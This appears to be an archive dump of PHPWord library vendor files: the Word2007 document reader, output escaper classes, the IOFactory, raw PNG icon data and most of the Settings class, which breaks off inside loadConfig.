vendor/phpoffice/phpword/src/PhpWord/Reader/Word2007/Document.php000066600000013677151150442730020602 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Reader\Word2007;

use DOMElement;
use PhpOffice\PhpWord\Element\Section;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Shared\XMLReader;

/**
 * Document reader.
 *
 * @since 0.10.0
 *
 * @SuppressWarnings(PHPMD.UnusedPrivateMethod) For readWPNode
 */
class Document extends AbstractPart
{
    /**
     * PhpWord object.
     *
     * @var \PhpOffice\PhpWord\PhpWord
     */
    private $phpWord;

    /**
     * Read document.xml.
     */
    public function read(PhpWord $phpWord): void
    {
        $this->phpWord = $phpWord;
        $xmlReader = new XMLReader();
        $xmlReader->getDomFromZip($this->docFile, $this->xmlFile);
        $readMethods = ['w:p' => 'readWPNode', 'w:tbl' => 'readTable', 'w:sectPr' => 'readWSectPrNode'];

        $nodes = $xmlReader->getElements('w:body/*');
        if ($nodes->length > 0) {
            $section = $this->phpWord->addSection();
            foreach ($nodes as $node) {
                if (isset($readMethods[$node->nodeName])) {
                    $readMethod = $readMethods[$node->nodeName];
                    $this->$readMethod($xmlReader, $node, $section);
                }
            }
        }
    }

    /**
     * Read header footer.
     *
     * @param array $settings
     */
    private function readHeaderFooter($settings, Section &$section): void
    {
        $readMethods = ['w:p' => 'readParagraph', 'w:tbl' => 'readTable'];

        if (is_array($settings) && isset($settings['hf'])) {
            foreach ($settings['hf'] as $rId => $hfSetting) {
                if (isset($this->rels['document'][$rId])) {
                    [$hfType, $xmlFile, $docPart] = array_values($this->rels['document'][$rId]);
                    $addMethod = "add{$hfType}";
                    $hfObject = $section->$addMethod($hfSetting['type']);

                    // Read header/footer content
                    $xmlReader = new XMLReader();
                    $xmlReader->getDomFromZip($this->docFile, $xmlFile);
                    $nodes = $xmlReader->getElements('*');
                    if ($nodes->length > 0) {
                        foreach ($nodes as $node) {
                            if (isset($readMethods[$node->nodeName])) {
                                $readMethod = $readMethods[$node->nodeName];
                                $this->$readMethod($xmlReader, $node, $hfObject, $docPart);
                            }
                        }
                    }
                }
            }
        }
    }

    /**
     * Read w:sectPr.
     *
     * @ignoreScrutinizerPatch
     *
     * @return array
     */
    private function readSectionStyle(XMLReader $xmlReader, DOMElement $domNode)
    {
        $styleDefs = [
            'breakType' => [self::READ_VALUE, 'w:type'],
            'vAlign' => [self::READ_VALUE, 'w:vAlign'],
            'pageSizeW' => [self::READ_VALUE, 'w:pgSz', 'w:w'],
            'pageSizeH' => [self::READ_VALUE, 'w:pgSz', 'w:h'],
            'orientation' => [self::READ_VALUE, 'w:pgSz', 'w:orient'],
            'colsNum' => [self::READ_VALUE, 'w:cols', 'w:num'],
            'colsSpace' => [self::READ_VALUE, 'w:cols', 'w:space'],
            'marginTop' => [self::READ_VALUE, 'w:pgMar', 'w:top'],
            'marginLeft' => [self::READ_VALUE, 'w:pgMar', 'w:left'],
            'marginBottom' => [self::READ_VALUE, 'w:pgMar', 'w:bottom'],
            'marginRight' => [self::READ_VALUE, 'w:pgMar', 'w:right'],
            'headerHeight' => [self::READ_VALUE, 'w:pgMar', 'w:header'],
            'footerHeight' => [self::READ_VALUE, 'w:pgMar', 'w:footer'],
            'gutter' => [self::READ_VALUE, 'w:pgMar', 'w:gutter'],
        ];
        $styles = $this->readStyleDefs($xmlReader, $domNode, $styleDefs);

        // Header and footer
        // @todo Cleanup this part
        $nodes = $xmlReader->getElements('*', $domNode);
        foreach ($nodes as $node) {
            if ($node->nodeName == 'w:headerReference' || $node->nodeName == 'w:footerReference') {
                $id = $xmlReader->getAttribute('r:id', $node);
                $styles['hf'][$id] = [
                    'method' => str_replace('w:', '', str_replace('Reference', '', $node->nodeName)),
                    'type' => $xmlReader->getAttribute('w:type', $node),
                ];
            }
        }

        return $styles;
    }

    /**
     * Read w:p node.
     */
    private function readWPNode(XMLReader $xmlReader, DOMElement $node, Section &$section): void
    {
        // Page break
        if ($xmlReader->getAttribute('w:type', $node, 'w:r/w:br') == 'page') {
            $section->addPageBreak(); // PageBreak
        }

        // Paragraph
        $this->readParagraph($xmlReader, $node, $section);

        // Section properties
        if ($xmlReader->elementExists('w:pPr/w:sectPr', $node)) {
            $sectPrNode = $xmlReader->getElement('w:pPr/w:sectPr', $node);
            if ($sectPrNode !== null) {
                $this->readWSectPrNode($xmlReader, $sectPrNode, $section);
            }
            $section = $this->phpWord->addSection();
        }
    }

    /**
     * Read w:sectPr node.
     */
    private function readWSectPrNode(XMLReader $xmlReader, DOMElement $node, Section &$section): void
    {
        $style = $this->readSectionStyle($xmlReader, $node);
        $section->setStyle($style);
        $this->readHeaderFooter($style, $section);
    }
}
vendor/phpoffice/phpword/src/PhpWord/Escaper/EscaperInterface.php000066600000001534151150442730021150 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Escaper;

/**
 * @since 0.13.0
 *
 * @codeCoverageIgnore
 */
interface EscaperInterface
{
    /**
     * @param mixed $input
     *
     * @return mixed
     */
    public function escape($input);
}
vendor/phpoffice/phpword/src/PhpWord/Escaper/Xml.php000066600000001603151150442730016502 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Escaper;

/**
 * @since 0.13.0
 *
 * @codeCoverageIgnore
 */
class Xml extends AbstractEscaper
{
    protected function escapeSingleValue($input)
    {
        return (null !== $input) ? htmlspecialchars($input, ENT_QUOTES) : '';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Escaper/AbstractEscaper.php000066600000002300151150442730021003 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Escaper;

/**
 * @since 0.13.0
 *
 * @codeCoverageIgnore
 */
abstract class AbstractEscaper implements EscaperInterface
{
    /**
     * @param ?string $input
     *
     * @return string
     */
    abstract protected function escapeSingleValue($input);

    public function escape($input)
    {
        if (is_array($input)) {
            foreach ($input as &$item) {
                $item = $this->escapeSingleValue($item);
            }
        } else {
            $input = $this->escapeSingleValue($input);
        }

        return $input;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Escaper/Rtf.php000066600000006041151150442730016476 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Escaper;

/**
 * @since 0.13.0
 *
 * @codeCoverageIgnore
 */
class Rtf extends AbstractEscaper
{
    protected function escapeAsciiCharacter($code)
    {
        if ($code == 9) {
            return '{\\tab}';
        }
        if (0x20 > $code || $code >= 0x80) {
            return '{\\u' . $code . '}';
        }
        if ($code == 123 || $code == 125 || $code == 92) { // open or close brace or backslash
            return '\\' . chr($code);
        }

        return chr($code);
    }

    protected function escapeMultibyteCharacter($code)
    {
        return '\\uc0{\\u' . $code . '}';
    }

    /**
     * @see http://www.randomchaos.com/documents/?source=php_and_unicode
     *
     * @param ?string $input
     */
    protected function escapeSingleValue($input)
    {
        $escapedValue = '';

        $numberOfBytes = 1;
        $bytes = [];
        for ($i = 0; $i < strlen($input); ++$i) {
            $character = $input[$i];
            $asciiCode = ord($character);

            if ($asciiCode < 128) {
                $escapedValue .= $this->escapeAsciiCharacter($asciiCode);
            } else {
                if (0 == count($bytes)) {
                    if ($asciiCode < 224) {
                        $numberOfBytes = 2;
                    } elseif ($asciiCode < 240) {
                        $numberOfBytes = 3;
                    } elseif ($asciiCode < 248) {
                        $numberOfBytes = 4;
                    }
                }

                $bytes[] = $asciiCode;

                if ($numberOfBytes == count($bytes)) {
                    if (4 == $numberOfBytes) {
                        $multibyteCode = ($bytes[0] % 8) * 262144 + ($bytes[1] % 64) * 4096 + ($bytes[2] % 64) * 64 + ($bytes[3] % 64);
                    } elseif (3 == $numberOfBytes) {
                        $multibyteCode = ($bytes[0] % 16) * 4096 + ($bytes[1] % 64) * 64 + ($bytes[2] % 64);
                    } else {
                        $multibyteCode = ($bytes[0] % 32) * 64 + ($bytes[1] % 64);
                    }

                    if (65279 != $multibyteCode) {
                        $escapedValue .= $multibyteCode < 128 ? $this->escapeAsciiCharacter($multibyteCode) : $this->escapeMultibyteCharacter($multibyteCode);
                    }

                    $numberOfBytes = 1;
                    $bytes = [];
                }
            }
        }

        return $escapedValue;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Escaper/RegExp.php000066600000001722151150442730017136 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Escaper;

/**
 * @since 0.13.0
 *
 * @codeCoverageIgnore
 */
class RegExp extends AbstractEscaper
{
    const REG_EXP_DELIMITER = '/';

    protected function escapeSingleValue($input)
    {
        return self::REG_EXP_DELIMITER . preg_quote($input, self::REG_EXP_DELIMITER) . self::REG_EXP_DELIMITER . 'u';
    }
}
vendor/phpoffice/phpword/src/PhpWord/IOFactory.php000066600000010463151150442730016223 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord;

use PhpOffice\PhpWord\Element\Text;
use PhpOffice\PhpWord\Element\TextRun;
use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\Reader\ReaderInterface;
use PhpOffice\PhpWord\Writer\WriterInterface;
use ReflectionClass;

abstract class IOFactory
{
    /**
     * Create new writer.
     *
     * @param string $name
     *
     * @return WriterInterface
     */
    public static function createWriter(PhpWord $phpWord, $name = 'Word2007')
    {
        if ($name !== 'WriterInterface' && !in_array($name, ['ODText', 'RTF', 'Word2007', 'HTML', 'PDF'], true)) {
            throw new Exception("\"{$name}\" is not a valid writer.");
        }

        $fqName = "PhpOffice\\PhpWord\\Writer\\{$name}";

        return new $fqName($phpWord);
    }

    /**
     * Create new reader.
     *
     * @param string $name
     *
     * @return ReaderInterface
     */
    public static function createReader($name = 'Word2007')
    {
        return self::createObject('Reader', $name);
    }

    /**
     * Create new object.
     *
     * @param string $type
     * @param string $name
     * @param \PhpOffice\PhpWord\PhpWord $phpWord
     *
     * @return \PhpOffice\PhpWord\Reader\ReaderInterface|\PhpOffice\PhpWord\Writer\WriterInterface
     */
    private static function createObject($type, $name, $phpWord = null)
    {
        $class = "PhpOffice\\PhpWord\\{$type}\\{$name}";
        if (class_exists($class) && self::isConcreteClass($class)) {
            return new $class($phpWord);
        }

        throw new Exception("\"{$name}\" is not a valid {$type}.");
    }

    /**
     * Loads PhpWord from file.
     *
     * @param string $filename The name of the file
     * @param string $readerName
     *
     * @return \PhpOffice\PhpWord\PhpWord $phpWord
     */
    public static function load($filename, $readerName = 'Word2007')
    {
        /** @var \PhpOffice\PhpWord\Reader\ReaderInterface $reader */
        $reader = self::createReader($readerName);

        return $reader->load($filename);
    }

    /**
     * Loads PhpWord ${variable} from file.
     *
     * @param string $filename The name of the file
     *
     * @return array The extracted variables
     */
    public static function extractVariables(string $filename, string $readerName = 'Word2007'): array
    {
        /** @var \PhpOffice\PhpWord\Reader\ReaderInterface $reader */
        $reader = self::createReader($readerName);
        $document = $reader->load($filename);
        $extractedVariables = [];
        foreach ($document->getSections() as $section) {
            $concatenatedText = '';
            foreach ($section->getElements() as $element) {
                if ($element instanceof TextRun) {
                    foreach ($element->getElements() as $textElement) {
                        if ($textElement instanceof Text) {
                            $text = $textElement->getText();
                            $concatenatedText .= $text;
                        }
                    }
                }
            }
            preg_match_all('/\$\{([^}]+)\}/', $concatenatedText, $matches);
            if (!empty($matches[1])) {
                foreach ($matches[1] as $match) {
                    $trimmedMatch = trim($match);
                    $extractedVariables[] = $trimmedMatch;
                }
            }
        }

        return $extractedVariables;
    }

    /**
     * Check if it's a concrete class (not abstract nor interface).
     *
     * @param string $class
     *
     * @return bool
     */
    private static function isConcreteClass($class)
    {
        $reflection = new ReflectionClass($class);

        return !$reflection->isAbstract() && !$reflection->isInterface();
    }
}
vendor/phpoffice/phpword/src/PhpWord/resources/doc.png000066600000002205151150442730017133 0ustar00�PNG


IHDRhCG��ftEXtSoftwareAdobe ImageReadyq�e<SPLTE�����\t����6Fif}������{��BU���������Tl�o��Jn�Hs�5�Lc�7`�1w-T���!Q�������v��Am�Qs��������h��_��_��*g1\�TzΓ������<Ns���q�ҩ��\{����+Y����Fc���������E\�W}�_��%Hw8b�Gv�e��4`­�Ћ��Ci����Qv�%Z=c���;Uf��{��<nv�����?e����;Rw;�/Q�&K�9h����(R����1Z�t����1P�>k�j�� K���� Dj&P�g��9Y�Y��8T� CVWr�n�毼�:Zl���t��Li���\w���*�IDATx���S�P�q�đ%B���$��Z���뭛g��n�V{��>R	�fj��
�Q���Ü��^Y��\.�XL�e�eK�N�メ�F�E"���dR+��g��M��h7/�4�AYw1��0>>6�JL �rН��8��U�PBE5DQ��p��?Yc���6@���F5ǼT�"�(6�RT�Nſd�;�8u�N"��#^k�Q���^M��x`�&��m������0=Z����Yf�WB�m��s��d�BI��QF��Ҵ;����S��Vj)�ۻ���
-$�"�y�J�2W���-:<3��!��u>����P�~!�%no-�yc�\�+i����B����Z��$ẃ�je��[>8��š����a(��m��ҁp�l�{⤊�h8\G��m��y��p\�Z([��z���ޱyK�d��[�Ed��B�2��������v��l-~�b��~���W>�tx�;�4B� �}=t�u������@h	-4ˤ��66�aD?�P��q�$����d��P(�CmN�6i4�V���`�'''���̓C�;������/,����90サz�0���#0?>M�C��`�
@�I��̝'B��������!��^��<g�[�~o��̀��Yo��
w��|���:;��ZI���^Q���i�t��IEND�B`�vendor/phpoffice/phpword/src/PhpWord/resources/ppt.png000066600000003536151150442730017201 0ustar00�PNG


IHDRhCG��ftEXtSoftwareAdobe ImageReadyq�e<PLTE�����V�LO�Ѻ�����Ǫ�)���|BN�rU��������|\���7����m�Y������T�j��َIM���i�c)�p�Z)�g)��������]!����[����tt����M����TQ�ɮ����_)�MN��ߵQ;F
�T+諌�ӽ�i�e)�����pQ�5
�>�J6h�n�E2�aH�F��y���˱�5-����jN����PO�FN�V@�b�Ħ�¤�z[������e&����̳������eK�f�_�d8�G���������Ծn�DM�g�u�s�^E�[C�I���Sކc�]�zX�92�nO�oR�gIyBP�w�R4�vV�kM�a#�W�R�I�:-�2�.`
�������^C�����סF2�Ϸ�����������j.��ܳN8��q�趼\)�eG��K�t;��R视����m+�F8�w�a)�m0�T>�Ԣ�ئ�|F���t2�~>礂�y7�|�ȓ�Λ�U+�X+��h�O��a�c��������Y�b$�p�sZ�ު��E�Ë�U�\��y����i-����p5܂`�xA�ε���Z�T�vZ����Š�RP�N.�����ۈGN�}����c%����X*�8.�r�q�b�pSۀ_����������zA�*,�n�\G�vW������sS����Ǖ�d�����������������C�i�U�iJ�q�iJ�|�n�d�a�ʹ�DN�����2�
��IDATx�b�`�hԢQ���Er7�%dd���=�.��r���[h<���ɉ�IKKOYzl��EkV�޲o�[gNߵ|�9��T��յ,=CCX�"�o~����6E�_K�Q�"GiWo�־V��-����X��:�89��u�Q�"�)�@{��7��b���V=�]����,-km5��bռ����ٰ�ȌC(���QI��E��[������Wشމ&�(�ZQۢ��ֳ�Lk!1u��|J��
W}�;Pբ��r�7����9w���~���U�O5u-:�H��e��#`����0��e$��	�Z��h�<�?�-"�?���Q=Y6Ú&�Z���ť���ʩʦ5[4�ŝ]�LjY����=ٝvIH�ۛ����'$)��72b�����������2��S�F�	�c˻�z�j��jQ��B�{��޴lf�*�^4�۝=Рw��u-��ʺ���~��Y�|́>�:�OԵ(j=?�����//��x�B8{ �����L�j�����%�m����ŵ)M��蔼��/�-��Z��v��en��x�5����x=�I��Qע�����f(_b��᱃Q4��Oy���L���E~�m8��*�AJ��S��{�6Pע�����/h��
����h���� HU���W��PPP�����o`0U^~�ZSӄ�F�Z4i�vUU+�H6#�މ�%%;�$$��6
�Q�"�e%�Wy�������R�QOU�ϙ�{挏��!3���ԅ�����JK�m�S��mU**ǫ��hk׺|�����mhl�࠶E�@��������&  ((X���Q�F-�5�)��1XP���|�x3Y�D2��!�݅�	��flF�����#pQ�Y�U��LEc5�0�(��E�T"�����P����*��#���1�nQ3FXoB/a�4i>�&`:n��G����B ��1sjÖ�౏�[��:��(��iaQ�h�=jѨEC�"���w�7�q�IEND�B`�vendor/phpoffice/phpword/src/PhpWord/resources/xls.png000066600000003604151150442730017200 0ustar00�PNG


IHDRhCG��ftEXtSoftwareAdobe ImageReadyq�e<PLTE2D;m&�ݣÝ�ɔ�ԩ��q�����I�(G�ET�JPZ8������hg�f��f�d��:�<V�RS�8��������ڍ�������Ӟ9w]dEL�09F%huR��������͆�z��btL���W�Tk�f�$�޼`�J*5�����ڸׯz�tW{E�倩v��ӎ����₡r^�\]~Z!R���Y�J����ȍ�Ʃ���Kb4%:!s�gX\A��������R�8_jIT}:�ˁ{�n���t�bd�R���|�k��{L�C!px�\D�%���[�A���ј_�YG�6x�tv�t���
bN�Wb�T�����t|�{a�S~�iV�=���������[�T���v�h������|�o���{�qZ�H��ꄲr���U�Tv�Z6o������ʼnk�Y
bU�R���u�jr�n��p�_U�Ml�cv�l������z�dA}"��ݐ…c�_Kp<m�^�����y�����jlV(���Ua<�������$,.A&f�^���h�U:� %57N �������������ꋽ~��v������@f&������������������������r�d�� ���a�[��m�Ph�[��u�䵉�v������`^n�Q��o/v�速r�����x�����u���������o�gw�l�̏���X�Z~%~�i�����͠d�K����������Ñ����������g���z�h������.?�����e�K������u�]������k�p���J�aIDATx�b�I'�0jѨE��ɢk����g�uv6/���7���S�CM����Fb�===cV�Dz,,/?���v��N[IUU[\��,)qt��.u�Z��%k��l���"�Pբ��?�_���^������[����›�6kdQ�G�����v���Ś�_tt�|�0K~�{�Z�j[�X�~Z�S��oG
�('��X���L�;u-*�(1�~�g��7;d�L���e���Yy����N|���& �-P`�F�{�)��(�0̤�E���S�����Mvp��}X�?p��Fu}d|���B�Njj���ڙ���S���*%P�GE��ޭ���.lL���F4%0�IE\C���V������p��]H�F4ޖ���<_*[��Z����.=���BY���*�k{���}>Sբ&�j��M�d���K�wo���Q/���k����h��=Z]��[��jR��s�y�����I��P��*HI`�l��JK�"l�+O��>Zz��We��ҩ�\qU��Z�&���2�j>Z�t\Gg�T�������	�v̒��������_�S�33���[�~jKH��Ia���XFU�
�t�b����-[]y\S�7�rF-�Ьj?w�B��H�q3��n�)�"��""u�[��,R��0��]y0O�7�:��5���ō����>��yΕ��E�=\gX�b����.s^yJ�ZH�}D�8��6���2dMl�.�W�����d��8�q��>�}�~����ܵk��L��d�b���ZDM������{4v���'���U���T��iw�����B�������\y�-Ե��� ���QPP��0A��"�k��J0`��+@`�l݅u�����oх���?D6�G;b��ZD3�V�V�
$�*�[��]H&�­�T��FA�
a2�\5.
��*8���E0
�",�H�4�V���Ţ�xBJ!��j\aʓt����fRlz� Ru�g�C�G�R�L�S�`���U���E�
3������&`�IEND�B`�vendor/phpoffice/phpword/src/PhpWord/Settings.php000066600000026022151150442730016162 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord;

/**
 * PHPWord settings class.
 *
 * @since 0.8.0
 */
class Settings
{
    /**
     * Zip libraries.
     *
     * @const string
     */
    public const ZIPARCHIVE = 'ZipArchive';
    public const PCLZIP = 'PclZip';
    public const OLD_LIB = \PhpOffice\PhpWord\Shared\ZipArchive::class; // @deprecated 0.11

    /**
     * PDF rendering libraries.
     *
     * @const string
     */
    public const PDF_RENDERER_DOMPDF = 'DomPDF';
    public const PDF_RENDERER_TCPDF = 'TCPDF';
    public const PDF_RENDERER_MPDF = 'MPDF';

    /**
     * Measurement units multiplication factor.
     * Applied to:
     * - Section: margins, header/footer height, gutter, column spacing
     * - Tab: position
     * - Indentation: left, right, firstLine, hanging
     * - Spacing: before, after.
     *
     * @const string
     */
    public const UNIT_TWIP = 'twip'; // = 1/20 point
    public const UNIT_CM = 'cm';
    public const UNIT_MM = 'mm';
    public const UNIT_INCH = 'inch';
    public const UNIT_POINT = 'point'; // = 1/72 inch
    public const UNIT_PICA = 'pica'; // = 1/6 inch = 12 points

    /**
     * Default font settings.
     * OOXML defined font size values in halfpoints, i.e. twice of what PhpWord
     * use, and the conversion will be conducted during XML writing.
     */
    public const DEFAULT_FONT_NAME = 'Arial';
    public const DEFAULT_FONT_SIZE = 10;
    public const DEFAULT_FONT_COLOR = '000000';
    public const DEFAULT_FONT_CONTENT_TYPE = 'default'; // default|eastAsia|cs
    public const DEFAULT_PAPER = 'A4';

    /**
     * Compatibility option for XMLWriter.
     *
     * @var bool
     */
    private static $xmlWriterCompatibility = true;

    /**
     * Name of the class used for Zip file management.
     *
     * @var string
     */
    private static $zipClass = self::ZIPARCHIVE;

    /**
     * Name of the external Library used for rendering PDF files.
     *
     * @var null|string
     */
    private static $pdfRendererName;

    /**
     * Options used for rendering PDF files.
     *
     * @var array
     */
    private static $pdfRendererOptions = [];

    /**
     * Directory Path to the external Library used for rendering PDF files.
     *
     * @var null|string
     */
    private static $pdfRendererPath;

    /**
     * Measurement unit.
     *
     * @var string
     */
    private static $measurementUnit = self::UNIT_TWIP;

    /**
     * Default font name.
     *
     * @var string
     */
    private static $defaultFontName = self::DEFAULT_FONT_NAME;

    /**
     * Default font size.
     *
     * @var float|int
     */
    private static $defaultFontSize = self::DEFAULT_FONT_SIZE;

    /**
     * Default paper.
     *
     * @var string
     */
    private static $defaultPaper = self::DEFAULT_PAPER;

    /**
     * Is RTL by default ?
     *
     * @var ?bool
     */
    private static $defaultRtl;

    /**
     * The user defined temporary directory.
     *
     * @var string
     */
    private static $tempDir = '';

    /**
     * Enables built-in output escaping mechanism.
     * Default value is `false` for backward compatibility with versions below 0.13.0.
     *
     * @var bool
     */
    private static $outputEscapingEnabled = false;

    /**
     * Return the compatibility option used by the XMLWriter.
     *
     * @return bool Compatibility
     */
    public static function hasCompatibility(): bool
    {
        return self::$xmlWriterCompatibility;
    }

    /**
     * Set the compatibility option used by the XMLWriter.
     * This sets the setIndent and setIndentString for better compatibility.
     */
    public static function setCompatibility(bool $compatibility): bool
    {
        self::$xmlWriterCompatibility = $compatibility;

        return true;
    }

    /**
     * Get zip handler class.
     */
    public static function getZipClass(): string
    {
        return self::$zipClass;
    }

    /**
     * Set zip handler class.
     */
    public static function setZipClass(string $zipClass): bool
    {
        if (in_array($zipClass, [self::PCLZIP, self::ZIPARCHIVE, self::OLD_LIB])) {
            self::$zipClass = $zipClass;

            return true;
        }

        return false;
    }

    /**
     * Set details of the external library for rendering PDF files.
     *
     * @return bool Success or failure
     */
    public static function setPdfRenderer(string $libraryName, string $libraryBaseDir): bool
    {
        if (!self::setPdfRendererName($libraryName)) {
            return false;
        }

        return self::setPdfRendererPath($libraryBaseDir);
    }

    /**
     * Return the PDF Rendering Library.
     */
    public static function getPdfRendererName(): ?string
    {
        return self::$pdfRendererName;
    }

    /**
     * Identify the external library to use for rendering PDF files.
     */
    public static function setPdfRendererName(?string $libraryName): bool
    {
        $pdfRenderers = [self::PDF_RENDERER_DOMPDF, self::PDF_RENDERER_TCPDF, self::PDF_RENDERER_MPDF];
        if (!in_array($libraryName, $pdfRenderers)) {
            return false;
        }
        self::$pdfRendererName = $libraryName;

        return true;
    }

    /**
     * Return the directory path to the PDF Rendering Library.
     */
    public static function getPdfRendererPath(): ?string
    {
        return self::$pdfRendererPath;
    }

    /**
     * Set options of the external library for rendering PDF files.
     */
    public static function setPdfRendererOptions(array $options): void
    {
        self::$pdfRendererOptions = $options;
    }

    /**
     * Return the PDF Rendering Options.
     */
    public static function getPdfRendererOptions(): array
    {
        return self::$pdfRendererOptions;
    }

    /**
     * Location of external library to use for rendering PDF files.
     *
     * @param null|string $libraryBaseDir Directory path to the library's base folder
     *
     * @return bool Success or failure
     */
    public static function setPdfRendererPath(?string $libraryBaseDir): bool
    {
        if (!$libraryBaseDir || false === file_exists($libraryBaseDir) || false === is_readable($libraryBaseDir)) {
            return false;
        }
        self::$pdfRendererPath = $libraryBaseDir;

        return true;
    }

    /**
     * Get measurement unit.
     */
    public static function getMeasurementUnit(): string
    {
        return self::$measurementUnit;
    }

    /**
     * Set measurement unit.
     */
    public static function setMeasurementUnit(string $value): bool
    {
        $units = [
            self::UNIT_TWIP,
            self::UNIT_CM,
            self::UNIT_MM,
            self::UNIT_INCH,
            self::UNIT_POINT,
            self::UNIT_PICA,
        ];
        if (!in_array($value, $units)) {
            return false;
        }
        self::$measurementUnit = $value;

        return true;
    }

    /**
     * Sets the user defined path to temporary directory.
     *
     * @param string $tempDir The user defined path to temporary directory
     *
     * @since 0.12.0
     */
    public static function setTempDir(string $tempDir): void
    {
        self::$tempDir = $tempDir;
    }

    /**
     * Returns path to temporary directory.
     *
     * @since 0.12.0
     */
    public static function getTempDir(): string
    {
        if (!empty(self::$tempDir)) {
            $tempDir = self::$tempDir;
        } else {
            $tempDir = sys_get_temp_dir();
        }

        return $tempDir;
    }

    /**
     * @since 0.13.0
     */
    public static function isOutputEscapingEnabled(): bool
    {
        return self::$outputEscapingEnabled;
    }

    /**
     * @since 0.13.0
     */
    public static function setOutputEscapingEnabled(bool $outputEscapingEnabled): void
    {
        self::$outputEscapingEnabled = $outputEscapingEnabled;
    }

    /**
     * Get default font name.
     */
    public static function getDefaultFontName(): string
    {
        return self::$defaultFontName;
    }

    /**
     * Set default font name.
     */
    public static function setDefaultFontName(string $value): bool
    {
        if (trim($value) !== '') {
            self::$defaultFontName = $value;

            return true;
        }

        return false;
    }

    /**
     * Get default font size.
     *
     * @return float|int
     */
    public static function getDefaultFontSize()
    {
        return self::$defaultFontSize;
    }

    /**
     * Set default font size.
     *
     * @param null|float|int $value
     */
    public static function setDefaultFontSize($value): bool
    {
        if ((is_int($value) || is_float($value)) && (int) $value > 0) {
            self::$defaultFontSize = $value;

            return true;
        }

        return false;
    }

    public static function setDefaultRtl(?bool $defaultRtl): void
    {
        self::$defaultRtl = $defaultRtl;
    }

    public static function isDefaultRtl(): ?bool
    {
        return self::$defaultRtl;
    }

    /**
     * Load setting from phpword.yml or phpword.yml.dist.
     */
    public static function loadConfig(?string $filename = null): array
    {
        // Get config file
        $configFile = null;
        $configPath = __DIR__ . '/../../';
        if ($filename !== null) {
            $files = [$filename];
        } else {
            $files = ["{$configPath}phpword.ini", "{$configPath}phpword.ini.dist"];
        }
        foreach ($files as $file) {
            if (file_exists($file)) {
                $configFile = realpath($file);

                break;
            }
        }

        // Parse config file
        $config = [];
        if ($configFile !== null) {
            $config = @parse_ini_file($configFile);
            if ($config === false) {
                return [];
            }
        }

        // Set config value
        $appliedConfig = [];
